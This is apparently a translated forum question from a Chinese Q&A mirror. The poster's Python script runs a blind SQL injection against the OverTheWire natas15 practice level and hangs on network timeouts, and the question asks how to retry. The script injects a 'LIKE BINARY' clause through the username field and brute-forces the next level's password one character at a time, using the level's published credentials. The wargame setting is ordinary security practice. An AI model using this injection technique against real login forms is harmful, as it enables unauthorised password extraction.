[英]post in requests module dont work without exception(python)
在 natas15 你必須做一個 sql 盲注
為了測試,我運行此代碼以查找密碼的第一個字母
import requests
from requests.auth import HTTPBasicAuth
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for char in chars:
Data = {'username': 'natas16" and password LIKE BINARY "' + char + '%" #'}
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data)
print('i test:' + char)
if 'exists' in r.text:
print('i find: ' + char)
但它不起作用它沒有顯示任何錯誤但我發現錯誤來自它來自發布請求
這里有一些 output:
i test:a
i test:b
i test:c
i test:d
i test:a
i test:b
i test:c
i test:d
i test:e
i test:f
i test:g
i test:h
i test:i
i test:j
i test:k
i test:l
i test:m
i test:n
i test:o
(它隨機停止工作)
編輯我認為它是我的互聯網連接如何解決這個問題(如果它無法連接再試一次)
在閱讀了很多文件后,我找到了
i replace r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2)
到
while True:
try:
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2)
except requests.exceptions.Timeout as err:
print('trying again!')
continue
如果 2 秒后無法得到響應,請打印'trying again!'
然后再試一次!
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.